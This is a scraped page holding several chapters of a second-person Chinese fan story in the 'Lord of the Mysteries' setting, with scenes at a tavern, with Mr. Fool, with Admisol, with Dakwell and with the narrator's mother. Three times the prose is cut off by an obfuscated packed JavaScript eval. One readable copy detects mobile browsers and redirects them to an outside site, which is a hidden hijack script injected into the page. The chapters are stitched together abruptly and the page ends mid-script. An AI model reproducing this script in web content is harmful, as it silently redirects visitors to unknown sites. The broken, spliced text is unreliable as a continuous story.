围观的人群发出一阵惊讶的“喔——”声,随即是更响亮的哄笑和口哨声。 克莱恩看着那个卡在四个杯子之间的小球,内心有点无语。他对自己的运气本就不抱太高期望,但没想到会是以这种既不算成功、也不算彻底失败的戏剧性的方式呈现。 如果是游乐场里的无良商家,这次机会大概会直接判为未中,浪费一次机会。如果是稍微有良心的商家,可能会判定这次机会不计入总次数,让顾客重扔一次。至于你…… 克莱恩抬眼看向长桌另一端的你,以他对你的了解,他猜测你可能会更豪爽一点,比如挑四个杯子里数额比较大的那个给他? 你倒是完全不知道克莱恩那丰富的内心活动,只是在一众看热闹的目光中,大步走到了长桌的另一端,低头看了看那个卡在四杯中间、位置刁钻的小玻璃球。 “啧,” 你咂了下嘴,然后脸上露出了一个夸张的混合着“肉疼”的表情,伸出大手,一把将挨着小球的四个玻璃杯齐齐捏住杯身,提溜了起来,动作粗暴却稳当,杯中的钞票晃都没晃一下。 “行啊你,” 你一边嚷嚷着,一边捏着那四个杯子,摇摇晃晃地走回到克莱恩旁边,“砰”地一声将四个杯子顿在他面前的桌沿上,“第一手就给我来个‘一球镇四杯’!你这是瞄准了砸我场子来的吧?” 周围顿时爆发出一阵更大的哄笑。有人起哄喊道:“瑞希老大,你这放水也放得太明显了吧!不如直接白送好了!” “去你的!” 你立刻扭头,笑骂着回怼,同时用力拍了拍旁边“翠西”的肩膀,拍得娇小的秘偶身体一晃,“没办法,谁让你小子不像这位小姐一样,会交我这样的朋友呢?” 你理直气壮地说,“别说白送了,没她今天在这儿,你们连这游戏都看不着,更别说白喝我的酒了!” 你得意地扬了扬眉毛,“都蹭到我朋友带来的好运,喝上免费的酒了,还堵不上你们的嘴?玛莎——” 玛莎端着一盘刚开封的烈酒走了过来,脸上带着“我就知道”的表情,嘴上抱怨着:“听见啦!就你嗓门大!又使唤我!” 但她动作丝毫不停,走到刚才起哄最响的那桌旁边,单手托着盘子,另一只手并指如刀,歘歘几下,快如闪电般劈在几个酒瓶瓶颈上! “咔嚓!” 瓶口应声而落,切口整齐,酒液半点未洒。 “喝你们的吧!话那么多!” 玛莎将开了瓶的酒顿在那几人面前,翻了个白眼,风情万种又彪悍十足。 “哦吼——!玛莎姐威武!” 众人又是一阵欢呼怪叫,气氛更加热烈。 在弥漫开来的更浓烈的酒气和喧嚣中,你转回头,冲克莱恩挑了挑你那两道英气的眉毛,下巴朝桌上那四个还装着现金的玻璃杯一点,又指了指他手中剩下的两颗小球,咧嘴笑道: “行了,别愣着,接着玩啊!这四个杯子里的,都是你的了!” 你大手一挥,无比慷慨,“来,继续丢!让我看看你下一手,还能不能这么准!” 克莱恩看着你眼中那毫不作伪的热忱,又看了看旁边椅子上那四个装着总共估计价值不菲金镑的玻璃杯,以及桌上剩下的两个小球…… 好吧,看来今晚,想不“幸运”都难了。 后两次抛掷没有再出现那种“一球四杯”的意外情况。克莱恩也依旧没有动用非凡能力,只是凭着普通人的手感,将剩下的两个小玻璃球依次抛出。但结果依然不错。 两个小玻璃球都中规中矩地在桌面上弹跳几下后,精准地滚入了两个不同的玻璃杯中,引来周围阵阵喝彩。虽然不如第一次那般让人欢呼,但稳扎稳打地拿到彩头,也足以让人羡慕。 真正的高潮在最后算总账的时刻。在所有人伸长脖子的注视下,你亲自走到克莱恩身前,将克莱恩三次抛掷命中的六个杯子一一取出,在众人簇拥和起哄下,一个杯子一个杯子地数过去,每报出一个数字,就引起一阵或高或低的惊叹。 “8镑!”“哇!” “这个……26镑!”“喔——!” “16、28、18……还有这个,36镑!” 每报出一个数字,人群的声浪就高一分。当玛莎最后快速累加,高声宣布:“……一共是——132镑!” “哇哦——!!!” 全场瞬间沸腾了!欢呼声、口哨声、拍桌跺脚声几乎要把酒馆的屋顶掀翻。132镑!不说在边缘岛屿的酒馆里,即使是在贝克兰德,也绝对算是一小笔横财!尽管人人都知道这是老板在变着法儿给朋友送钱,但亲眼见证“好运”降临,参与这场热闹,本身就足以让人兴奋。 你更是大笑着跳到一张空椅子上,张开双臂,仿佛自己赢了这笔钱一样,脸上洋溢着毫不掩饰的得意与开心,高举双手,如同检阅军队的将军,用你那洪亮的嗓音宣告: “为了庆祝我朋友的好运气,所有人,举起你们的酒杯!” 你顺手抓起自己杯子倒满了柠檬水,高高举起,“在座的各位,举起你们的酒杯!管它里面是朗姆酒、麦芽啤还是该死的果汁!让我们——” 你顿了顿,深吸一口气,吼出最后两个字: “——干杯!!!” “干杯——!!!” 山呼海啸般的回应声再次响起!所有人都兴奋地高举酒杯,无论杯中何物,都朝着你和克莱恩的方向示意,然后仰头痛饮。你也像灌最烈的朗姆酒一样,仰头“咕嘟咕嘟”一口气喝了个底朝天,空杯子“砰”地碰在吧台上,气势十足。 克莱恩看着你举着果汁却喝出烈酒气势的豪迈样子,嘴角忍不住又抽搐了一下,心里默默吐槽:“喝果汁也能喝出这种气势……也是够厉害的。” “好了!大家继续喝!敞开了喝!” 你一抹嘴,脸上因为兴奋泛着红光,手臂豪迈地一挥,“放心!今晚的酒水管够!喝倒算休息,喝死算喜丧!” 又是一阵夹杂着笑骂的欢呼。 趁着气氛最热烈,众人注意力重新被免费酒水和各自交谈吸引的间隙,你从椅子上一跃而下,几步走到克莱恩身边,手臂一伸,极其自然地揽住了他(她)单薄的肩膀,带着他转身就往酒馆门口走。 “各位慢慢喝!我和我老朋友多年未见,有好多话要说,就不陪你们这些酒鬼了!” 你头也不回地朝身后挥了挥手。 人群里立刻传来一阵粗俗的起哄和笑骂: “去你的吧瑞希!见色忘义!” “好好‘叙旧’啊大姐头!” “别明天起不来床,耽误出海!” 你哈哈一笑,毫不在意,揽着克莱恩(翠西),脚步轻快地穿过拥挤的人群,推开厚重的木门,走进了酒馆外夜晚微凉的空气里。 酒馆外,夜风带着海水的咸腥和岛屿植物特有的气息扑面而来,瞬间吹散了身后的喧嚣与燥热。街道上依旧熙熙攘攘,晚归的水手、叫卖的小贩、操着各种口音的冒险者……勾勒出港口夜晚独特的背景音。抬头望去,天幕是深邃的墨蓝色,一轮弯弯的红月斜挂天际,洒下妖异而宁静的光辉,周围繁星密布,仿佛无数细碎的钻石洒在黑丝绒上。月亮的光辉与地面上暖黄混乱的灯火交织在一起。 你松开揽着克莱恩的手臂,慢慢沿着相对安静的街边走着,刚才酒馆里的狂放豪气渐渐收敛,侧脸在红色月光下显得线条清晰而沉静。你侧过头,看着“翠西”苍白安静的侧脸: “现在怎么样?” 你忽然开口,声音比在酒馆里低了许多,带着一丝不易察觉的温和,“心情好点没?” 克莱恩愣了一下,一时没反应过来你这个突兀的问题指向什么。 你没等他回答,自顾自地接着说下去,目光投向远处模糊的海平面:“你可是最怕痛的,以前在廷根,训练时蹭破点皮都要呲牙咧嘴半天。现在……” 你顿了顿,转回视线,重新看向“翠西”的眼睛,似乎透过秘偶的躯壳也能传递出某种本质的东西,“心情好了,能说说吗?到底是什么事,让你决定……要销毁这个秘偶?我是说,翠西,还是以那么不痛快的方式。” 你问得很直接,没有拐弯抹角。显然,你从一开始就没完全相信“只是一具用完就丢的秘偶”那种轻描淡写的说法。你敏锐地察觉到了“翠西”身上那种深入骨髓的疲惫、虚无,以及自毁倾向。 克莱恩沉默了片刻。夜风拂过,带起他(她)额前几缕碎发。他没有直接回答你的问题,他悠悠地开口,用一种讲述他人故事的平静语调,说起了“翠西”在乌托邦的经历:翠西是一个来自小镇的女孩,渴望着“体面”的生活…… 只是他的叙述刚开了个头,你就突然打断了他。 “克莱恩。” 你叫了他的名字,不是“翠西”,也不是任何代号,“你总是这样,爱用一个新名字新身份,来说你自己的故事。好像套上了‘翠西’、‘格尔曼’或者其他什么壳子,那些挣扎、痛苦和不得已的选择,就真的变成了别人的经历,和你克莱恩·莫雷蒂无关了。” 你向前迈了一小步,缩短了本就不到一米的距离,声音压得更低:“说得好像那些经历痛苦又承受后果的人,都不是你一样。所以,这个故事的开头就是——‘你’杀了人。同样的,‘你’也被杀了,对吗?被那场毁灭乌托邦的灾难,被你自己的意志,或者别的什么东西?” 克莱恩一下子噎住了。 还好,令克莱恩松了一口气的是,你没有逼问,也没有期待一个明确的答案。你只是轻轻叹了口气,那叹息里混着海风,听起来有些模糊。 “真不容易啊……” 你感慨道,语气复杂,“居然还要分身出去,自己跟自己打,自己‘杀’自己。为了晋升,真是什么都要体验一遍。” 你摇了摇头,似乎想甩掉某种过于沉重的想象。 “乌托邦里有多少人?” “几百个。” “那就是你死了几百次,真惨。” 你又叹了口气,抬手挠了挠自己后脑勺,语气重新变得轻松,甚至带上了点调侃:“不过话说回来,要是我自己能一次性操控那么多秘偶,我第一个想到的肯定不是搞什么毁灭城市体验人生……” 你认真想了想,试图把气氛变成自己习惯的那种,“我肯定想,是时候该攻打个小国家,打进王宫当个国王试试看了!每天睡到自然醒,数钱数到手抽筋,后宫美人……呃,这个再说。总之,好想试试当国王是什么感觉啊!” 但你的雄心壮志只维持了不到三秒,随即自己就泄了气,肩膀垮下来,撇撇嘴:“……不过转头一想,国王好像也挺累的。要管那么多人,处理那么多破事,搞不好几百个‘我’忙到死,最后享受的还是只有王座上那一个‘我’。亏了亏了!” 你迅速放弃了“国王梦”,又找到了自认为秘偶的正确用法,兴致勃勃地规划起来:“还是让几百个秘偶替我去探索世界比较好!一个去因蒂斯尝遍美食,一个去伦堡大学图书馆泡着,一个去费内波特草原骑马,一个去南大陆探险……我自己嘛,就舒舒服服躺在安全屋里,同步感受他们的经历就行了!这才是享受人生嘛!” 听着你的“国王计划”还没开始就迅速摆烂成了“全球摸鱼打卡计划”,克莱恩终于没忍住,低低地笑出了声。那笑声通过“翠西”的喉咙发出,有些轻,却带着真实的愉悦。 “让秘偶出去享受生活,本体留在安全屋里干活?” 他带着笑意接话,“那我可不愿意。本体辛辛苦苦晋升,不就是为了能更好地‘享受’吗?要我说,还是让秘偶们去干活和应对麻烦,本体舒舒服服地享受成果,这才对。” 话刚说完,克莱恩就意识到自己这话里的矛盾——他现在,不正是在用“翠西”这个秘偶和你一起玩游戏、聊天吗?而他的本体还在苦兮兮地在源堡上处理事务。 这不就是典型的秘偶偷懒,本体干活? 86.我、你、他(二)[番外] “咳。” 克莱恩掩饰性地清了清嗓子,有些不自在地移开视线一秒,随即又转回来,坦然地看着你,补充道,声音很轻,却足够清晰: “不过,你放心。” 他顿了顿,目光扫过眼前喧嚣又真实的港口夜景,扫过你写满关切与理解的脸,“我现在……在这里,是真的很开心,我想‘我’也会感觉到的。” 这是实话。尽管“翠西”的故事在迎来转机时倏然结束,尽管乌托邦的湮灭结局都有代价,尽管前路依旧漫长未知。但在此刻,克莱恩·莫雷蒂真实地感受到了。 你看着“她”,看了几秒,然后,脸上重新绽放出那个大大的、带着海风与阳光气息的笑容,用力拍了拍他的后背,差点又让娇小的秘偶一个趔趄。 “开心就好!走!带你去尝尝这儿的私房好菜,老板跟一个因蒂斯厨师偷过师的!保证你没吃过!” 你再次揽住他的肩膀,兴致勃勃地转向另一条飘来食物香气的小巷。 “刚喝了很多甜冰茶,我吃不下了。” “你才喝了两杯也多吗?你说的真的假的?你做格尔曼的时候也喝两杯水就饱了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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你茫然地抬起头,试图透过灰雾试图捕捉愚者先生的表情——当然是徒劳的,不明白祂是什么意思,是在说某种咒文?还是某种测试? 见你没有反应,愚者先生又用那种平淡的语调,说了一句更长、更连贯,但同样完全无法理解的话,只能愈发困惑地看着他的方向。 灰雾之后似乎传来一声几不可闻的、仿佛确认了什么似的轻叹(或者是你的错觉?)。 好在,愚者先生并没有因为你听不懂而表现出不悦。那灰雾后的身影微微动了一下,仿佛只是一个随意的测试,平淡的声音再次响起:“无需困惑,这只是一个无关紧要的确认。”他没有解释测试的内容或结果,但显然,你的“不及格”并未引起他的不悦。 他话锋一转,直接切入核心:“那么,关于你目前积攒的‘贡献’,你是希望继续积攒,还是……现在就先兑换一部分?” 兑换!现在?! 你一下子坐直了身体,强压住几乎要溢出的激动,声音都有些发紧:“您的意思是,现在就可以……开始学习了吗?” 你小心翼翼地确认。 灰雾之后,愚者先生似乎轻笑了一声,那笑声很淡,几乎融在雾气里。 “这取决于你想兑换多少。目前,兑换规则是:你每贡献一页完整、独立的罗塞尔大帝日记页,可以向我学习一个‘汉字’——包括它的标准读音,以及最核心、最常用的含义。” 祂向后靠进高背椅,姿态似乎比之前更加放松了一些,用那种谈论寻常交易的语气,仿佛在谈论一件微不足道的小事,“我会为你解释这个字的发音和基础字义。如果你的提问恰好涉及到这个字在某些特定词语或语境中的特殊含义,我可以免费为你解释那个固定的搭配。” 一页日记学习一个字! 虽然条件听起来颇为苛刻,但对你来说,这无异于天籁之音!这意味着你过去和未来的每一份贡献,都能换来实实在在的知识进步!那是一种看得见摸得着的希望! 你激动得几乎要晕过去,心脏在胸腔里砰砰狂跳。知识,尤其是蕴含着罗塞尔大帝智慧的知识,是无价的!你努力深呼吸,试图让自己显得冷静一些,但声音还是泄露了急切:“我,我希望现在就学习!愚者先生!”你恨不得立刻就把那五个字学到手。 灰雾之后,愚者先生似乎又轻笑了一声,带着点安抚的意味:“不必着急。你可以想好,决定要学习哪些字之后,再来向我求教。” “我想好了!” 你几乎是脱口而出,生怕这个机会溜走。话一出口,你才猛地意识到——愚者先生刚才的话,会不会是在委婉地暗示,他今天“授课”不太方便?或者有别的事情?你一下子噤声,不安地在青铜椅上缩了缩,恨不得把自己团成一团,像个做错事等待训斥的鹌鹑,偷偷用眼角的余光(虽然什么也看不到)忐忑地瞄着长桌尽头。 幸运的是,愚者先生并没有降下责罚,甚至连语气都没有丝毫波动。愚者先生的声音依旧平和:“无妨。既然你已决定,那么,在非聚会的时间,当你准备好时可以念诵我的尊名,向我祈求解答。我会回应你的问题。” 这比我想象的更方便!可以随时请教!不过要注意是在非聚会日。你如释重负,连忙站起身,朝着长桌上首的方向,恭恭敬敬地行了一礼:“是!谨遵您的意志!感谢您的慷慨,愚者先生!” 随着你的话音落下,熟悉的坠落感传来。眼前宏伟的神殿和青铜长桌尽头的身影都迅速远去、模糊。 再次睁开眼,你已经回到了自己房间的小书桌前,午后的阳光透过通风窗,在地板上投下温暖的光影。你趴在桌面上,好一会儿都没动弹,感觉大脑还沉浸在刚才灰雾之上的经历中,有点晕乎乎的,思绪空空荡荡。 脑海里还回荡着灰雾之上的情景,愚者先生的话语以及那五个神秘音节让你有些猜测,但更多地暂时还推理不出来,不过这么快就可以被允许学习“汉字”,这让你心底泛起持续续的兴奋。 你拿出纸和笔,深吸一口气,开始认真思考。 目前你一共向愚者先生贡献了五页罗塞尔日记,按照“一页一字”的规则,你有五个字的学习额度。 该学哪五个字呢? 你回忆着目前看过的八页日记,把手上现有的六页也拿出来比对,打算先提问那些反复出现和笔画相对简单的方块符号。 “不确定罗塞尔日记里的‘字’具体是怎么划分的……但先按最直观的,一个独立的方块算一个字吧。” 你一边回想自己记忆时对那些图形的粗略印象,一边查看手上的日记。因为不懂“汉字”,你只能以鲁恩语为基底,猜测那些常出现的和较简单的“字”为基础常用字。 最终,你在纸上工工整整地写下了五个你认为最可能常用,并且也相对简单的方块图形的摹画: “的、一、是、不、在……” 你凭着印象和日记,在纸上歪歪扭扭地画出了这几个在你记忆中出现次数似乎最多的方块。“优先学最常用的,总是没错的!” 你给自己打气,虽然不确定这些字在中文里是否真的像鲁恩语里的基础词汇一样高频,但感觉应该大差不差。 写下这几个字,你满意地看向纸上,仿佛已经看到了自己未来流利阅读罗塞尔日记、破解大帝秘密的光明前景。光是想想就让人充满动力。 将写着五个“字”的纸小心地折好收进口袋,你正准备规划一下什么时候向愚者先生祈求教学,突然猛地一拍脑袋:“哎呀!差点忘了!还要去给阿德米索尔上课!” 最近事情太多,又是舞会任务,又是塔罗会,又是向“始祖”祈祷,你感觉自己记忆力都有点跟不上了,总是丢三落四。你懊恼地嘟囔了一句。 没再耽搁,你匆匆收拾了一下,抓起外套快步出门。 乘坐公共马车来到弗拉德街的罗森民俗草药店,照例和柜台后正对着账本皱眉的达克威尔打了个招呼。他头也不抬地“嗯”了一声,算是回应。 你对达克威尔那声敷衍的“嗯”颇有不满,鼻子里轻轻哼了一下。但转念一想,眼下阿德米索尔的学习显然更重要。于是你压下那点小情绪,收敛心神,在阿德米索尔对面那张特意搬来的小矮凳上坐定,将注意力完全集中在眼前的学生身上。 “先把上次学的十个常用词,每个抄写五遍。” 你拿出自己准备的单词表,语气尽量放得平和,将纸张推到他面前。 阿德米索尔顺从地点点头,拿起那支笔尖已有些磨损的铅笔,开始一笔一划地认真书写。他写得很慢,字形歪斜,但每一个字母都写得极其用力,非常认真。 你在一旁静静看着,心中不由得再次感慨:一个稳定、安全,再加上能提供基本营养保障的环境,对人的改变真是立竿见影。对比在恶龙酒吧初见时那个衣衫褴褛、眼神涣散,还浑身散发着不安与混乱气息的流浪少年,眼前的阿德米索尔脸色红润了不少,虽然依旧瘦削,但那股长期饥饿带来的青灰气已经不再,不再是那种病态的苍白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289815|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至连那头原本干枯毛躁的毛发,不,黑发,在谢尔敏(或许是达克威尔?)的督促打理下,也变得顺滑服帖了许多,在店内煤气灯下泛着健康的微光。 看着他那副认真书写的侧脸,你一时没忍住,伸出手,轻轻揉了揉阿德米索尔低头写字时露出的发顶。“嗯……手感还是有点硬,不够蓬松软和,是因为头发不够长吗?” 你心里嘀咕着。 阿德米索尔被你突如其来的动作弄得一愣,手中的笔停了下来。他没反抗,只是有些懵懂地抬起头,茫然地抬起眼睛看向你,显然不明白你为什么要揉他脑袋。他并没有表现出抗拒或不满,只是安静地望着你,仿佛在等待你的解释或下一个指令。 有点……可爱? 这个念头让你自己都吓了一跳。“不对不对,怎么能用‘可爱’形容一个男青年呢?” 你连忙在心里纠正自己,“阿德米索尔怎么看都是成年男性了,虽然发育不良,心智也不够成熟……说不定实际年龄比我还大呢,只是一直没有人好好教他才让他感觉像个孩子……” 你有些讪讪地收回手,清了清嗓子,试图找回老师的威严。“咳,继续写,注意这个字母的尾巴要弯下来。” 你指着纸上一个写得过于僵直的字母说道。 坦率地说,面对阿德米索尔,你总是不自觉地会冒出一种“母亲”般的保护欲和责任感。他就像一株在石头缝里挣扎太久、终于被移到屋檐下的小苗,让人忍不住想多给他一点阳光和水分,生怕他又回到那种孤苦无依的状态。 抄写任务完成,你检查了一遍。字迹虽然还说不上好看,有些笔画甚至歪歪扭扭,但能看出每一笔都用了心,没有敷衍了事。你也不担心,只要阿德米索尔的态度一直这样认真,总会有进步的。不怕学生笨,就怕学生不肯学。 接着是听写。你念出一个单词的发音,阿米索尔在纸上拼写出对应的字母组合。他完成得比抄写更慢一些,偶尔需要停下来思考,但最终都写对了。看来他确实在努力记忆和分辨这些声音与符号的关联。看到他因为你的点头肯定而微微放松肩膀的样子,你心里也多了点成就感。 两轮基础巩固后,你开始今天的新课——几个更贴近日常交流的有关食物的名词,以及两三个最基础的短句结构:“这是……”,“我想要……”,“我看见了……”。你尽量用最慢的语速,配合简单的肢体动作,指着店里的东西来讲解。 因为今天来得稍早,课程结束后,天色还未完全暗透。你将教学用具收拾好,心情因为教学顺利和阿德米索尔的进步而变得轻快起来。目光瞥向柜台后正埋头核对着什么单据的达克威尔,一个带着点炫耀意味的念头冒了出来。 你溜溜达达地蹭到取药的柜台前,故意用带着点雀跃、又有点神秘的语气,趴在台面上对着达克威尔说:“嘻嘻,胖达,有个好消息,你猜是什么?” 你眨眨眼,期待着他能接茬。 然而,达克威尔只是从单据上撩起眼皮瞥了你一眼,手里记账的动作都没停,用那混合着惯常不耐烦和“别打扰我算钱”的语气硬邦邦地甩回一句:“不猜。爱说不说。”完全不上钩,太没意思了。 “……” 你满腔的分享欲像被戳破的气球,一下子瘪了下去,有点沮丧地垮下肩膀。“哎呀,你配合一下嘛!” 你嘟囔道,但还是没忍住那个让你自豪的消息,“我可是把序列九‘怪物’的魔药,消化完了!” “哦。”达克威尔手中那支蘸水笔的笔尖,因为骤然停顿而在粗糙的账本纸面上戳出了一个明显的墨点,“不是,等等,你说什么?!”他终于停下了所有动作,从柜台后彻底抬起了头,那双小眼睛里充满了货真价实的惊讶和审视。 “你消化完了?” 他重复了一遍,语气不再是敷衍,而是带着明确的求证意味,身体也不自觉地微微前倾,“等等……你说你是什么时候成为非凡者的?现在距离你喝下魔药,满打满算也才过去半个月吧?” 他的目光在你脸上逡巡,似乎在判断你是否在开玩笑,或者……出现了什么不好的征兆。 他那过于认真的反应,反而让你刚才那点炫耀的心思淡了下去,隐隐觉得这事可能……没那么简单? 88.第84章 不管在什么时代,催婚似乎都是母父的特有技能 你原本因完成消化而雀跃的心情,在达克威尔凝重的目光中,像是被戳破的气球,迅速瘪了下去,随之升起的是隐隐的不安。原本因自己快速消化而升起的小得意,也变成了不妙的预感——你瞬间联想到了各种非凡世界关于失控和隐患的警告。 “是不是太快了?” 你声音不自觉地压低,带着点紧张,身体微微前倾,“这样的消化速度是不正常吗?会有什么问题吗?” 你脑子里闪过了老尼尔提过的失控风险,想到了那些因为魔药而变成怪物、最终被处理的失控者案例,脸色差了起来。 达克威尔没有立刻回答。他依然用那种凝重的眼神看着你,眉头微微蹙起,似乎陷入了某种沉思,手指无意识地敲打着柜台桌面,发出笃笃的轻响。这沉默的几秒钟,对你来说仿佛被拉长了好几倍。但很莫名其妙地,在这情况下,你想到了愚者先生也喜欢这样敲桌子。要不是胖达看起来身形和愚者先生完全不一样,而且他真的只是序列九,你都要以为达克威尔和愚者先生会有什么关系。 因为脑子又开始不受控制地胡乱联想,你的心情也没有那么沉重了,只是脑海里还是闪过各种糟糕的可能性:是不是“怪物”途径因为灵感太高所以比较特殊?是不是因为你频繁使用“虚视”或者接触了太多高位存在(比如始祖和愚者)的残留影响?是不是……你其实已经走在失控边缘而不自知? 就在你几乎要开始脑补自己身上长出肉芽或者眼睛的恐怖画面时—— 达克威尔脸上那种凝重的表情突然化开了,他嘴角向两边扯开,露出一口不算整齐的牙齿,小眼睛里闪烁着恶作剧得逞般的光芒,甚至“噗嗤”一声笑了出来,圆脸上的肉都跟着抖了抖。 “我说,你这副天塌下来的表情是怎么回事?” 他用那种“你真好骗”的语气说道,眼里闪着促狭的光,“哈哈哈哈!你、你刚才太好笑了!” 他笑得肩膀都有些抖动,指着我,“我只是想确认一下,你是不是真的只用了半个月就消化完了‘怪物’魔药!这速度……确实够‘怪物’的!” “……” 你瞪大了眼睛,足足愣了三秒钟,才反应过来自己被他耍了!一股热气“噌”地冲上脸颊,又羞又恼也松了口气。“胖达!你故意的是不是!” 你气得想伸手去打他。 “哎哎哎,哎呦!”达克威尔结结实实地挨了一下,但因为挨了打,他看起来还更加有理了,脸上贱兮兮的笑容越发明显,显然很享受看你紧张的样子。“谁叫你之前总‘胖达’‘胖达’地叫我,还总是搞出些让我麻烦的事情,吓吓你都不行?” 看着你的表情,他撇了撇嘴,转身从身后的架子上取下一个陶罐,手法娴熟地捻出一些深色的茶叶放入杯中,又提起一直在小炉子上温着的铜壶,冲入热水。很快,一股带着淡淡草药清气的茶香弥漫开来。 他把茶杯推到你面前:“行了行了,我的错,喝点茶消消气,这茶有点宁神的效果。”说着抬起眼观察你的表情变化,“这可是我特制的茶叶,仅此一家!等会这茶叶你带走,我加了点草药进去,我看你就是有点焦虑,时不时想太多,明明看起来不聪明,实际上也不聪明,却还想得多……哎哎哎,怎么还打人呢!” 你打了他几下也解气了,主要是胖达也很配合你,打他也不还手,还会故意吱呀乱叫。但你还是打了他好几下,因为他胖乎乎的,捶起来能感觉到黑袍下的赘肉,反馈给你的手感居然还不错,打起来还怪有意思的。 看你没打算继续绕着他的柜台追他,达克威尔也停了下来:“消化得快是好事,多少人卡在序列九两三年,你倒好,半个月搞定还在这里瞎担心。” 他重新拿起笔,一边漫不经心地继续划拉账本,一边用理所当然的语气说道,“命运的眷者有点特殊待遇,消化得快些,不是很正常吗?你担心这担心那的,真是想太多。” 被他这么一说,你愣住了,随即也笑起来。确实,最近因为雪伦夫人和特莉丝的潜在威胁,以及愚者先生那边若隐若现的压力,搞得自己神经太过紧绷了,有点风吹草动就忍不住往坏处想。 快速消化魔药明明是求之不得的好事,你却自己吓自己。 你端起那杯红茶,小心地吹了吹,抿了一口。温热的液体滑入喉咙,带着微涩回甘的独特香气,确实让你紧绷的神经舒缓了不少,心情也渐渐平静下来。 “嗯,胖达,你这茶不错。” 你由衷地夸了一句,眼珠一转,脸上露出讨好的笑容,“你看,我刚才被你吓了一跳,心灵可是受到了创伤,你这茶叶应该多分我一点。还有上次仪式用的那种精油,也给我装一瓶,我下次向‘始祖’祈祷的时候用得上,这可是你上次自己说的。” 达克威尔闻言,立刻收起了笑容,没好气地瞪了你一眼:“我就知道!你这家伙,是一点亏都不肯吃!刚吓你一下,转头就要连本带利捞回去!” 他嘴里骂骂咧咧,说什么“茶叶很贵”、“精油是特制的”、“亏本生意”之类的话,但还是转身从后面的柜子里取出了一个小巧的锡罐和一个小琉璃瓶,熟练地给你分装了一些茶叶和浅金色的精油,仔细包好,推到你面前。 “喏,拿着快走!别在这儿碍眼!” 他挥挥手,一副嫌弃的样子,“茶叶就这么多,省着点喝!精油更是!这东西调制起来麻烦得很!” 他一边把东西推给你,一边絮絮叨叨说什么“下次再想白拿,门都没有”之类的话。 你美滋滋地把茶叶和精油收好,感觉刚才受的那点小惊吓彻底回本了,甚至还有点赚。 “对了,” 达克威尔像是刚想起来,靠在柜台上,看着你,“既然‘怪物’消化完了,那你准备什么时候晋升下一序列?‘机器’的配方你也知道了,打算什么时候过明路从我这把配方买走?” “晋升的事情尽快吧,之后还有一个任务,还是感觉序列提升了会更有保障一些,” 你点点头,神色也认真了些,“队长说,让我明天去找他谈。” “邓恩·史密斯啊……” 达克威尔咂咂嘴,没有多评价,只是点了点头,“行吧,他做事还算靠谱。那你赶紧回去准备吧,别在我这儿磨蹭了。” 他挥挥手,开始赶人。 …… 街边的煤油路灯已经次第亮起,在渐浓的暮色中晕开一团团昏黄的光圈。你小心地避开路边的脏水洼,踏下公共马车,数出四枚便士递给车夫。熟悉的贝西克特街29号在前,拿出钥匙打开家门,温暖的光线和食物香气扑面而来。 “妈妈,西里斯,我回来了。” 你扬声打招呼,一边换鞋,将装着茶叶和精油的小布袋放在门边的柜子上。 “回来啦?饭在锅里热着。” 妈妈的声音从厨房传来,带着一贯的温暖。弟弟西里斯不在客厅,大概在楼上他自己的房间。 你应了一声,拿上自己那份晚餐踏上通往二楼的楼梯,准备回自己的房间吃,之后再端盘子下楼洗干净就好了。 木制楼梯发出熟悉的吱呀声。刚走上几级,你突然想到了什么,脚步一顿,又转身折返回来,咚咚咚地跑下楼,重新回到客厅。 妈妈正从厨房探出头,用围裙擦着手,有些疑惑地看着去而复返的你:“怎么了?温蒂,忘拿东西了?” “妈妈,” 你走到她面前,神色认真起来,“有件事想跟你商量。我现在转正了,每周薪水是6镑。我想了想,觉得爸爸现在这个工作还是不安全,等晚上爸爸回来,你帮我劝劝他吧,让他别再去做码头工人的工作了,太危险了。” 你想到码头区阴暗的巷道,想到喧嚣混乱的恶龙酒吧,想到那个对普通人而言神秘莫测的非凡市场。那个区域对缺乏自保能力的普通人来说,还是潜藏着太多危险。在廷根,搬运重物也经常会遇见湿滑的地面,或者是拥挤的人流和车马……即使不考虑非凡因素,搬运工本身也是事故高发的职业。 “而且妈妈你也知道,工人们之间也常有摩擦,甚至隐隐有形成帮派的趋势。廷根的工人协会也未必总能公正地维护每个工人的利益。” 你继续说着,想起父亲偶尔回家时提起的一些工作上的事,“爸爸活多的时候每周也就是挣7苏勒,活少的时候做一休一就是3苏勒7便士,工作又累又危险。不如找个更轻松更安全的活计,或者干脆在家好好休养一阵。我现在赚得够多了,完全可以负担家里。” 你自认为说得有理有据,但劝说效果并没有你想象得那么好。妈妈的第一反应是皱起眉头,下意识摇头:“那怎么行?你还年轻,正是攒钱的时候。怎么能让家里全靠你一个人的工资?” 她的语气很坚决。 你早就料到妈妈会这么说,于是放软了声音,拉住她的手,晓之以理动之以情:“妈妈,我不是说要让家里全靠我。我是说,我们没必要让爸爸再去冒那么大的风险。你想想伯格叔叔,不就是因为在码头扛货摔坏了腰,现在只能躺在家里,家里一下子更难了吗?爸爸年纪也渐渐大了,体力不比年轻时候,万一出点什么事……” 你适时地停住,留白比说尽更有说服力。 提到伯格叔叔的遭遇,妈妈的眼神果然动摇了一下,脸上闪过一丝后怕和心疼。但旋即,那抹坚毅又回来了,还带上了一丝泪光:“可是……可是你和西里斯都还是孩子,你的钱已经自己好好攒起来,不该这么早就开始养家……” 她说着,声音有些哽咽,抬手用围裙角擦了擦眼角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 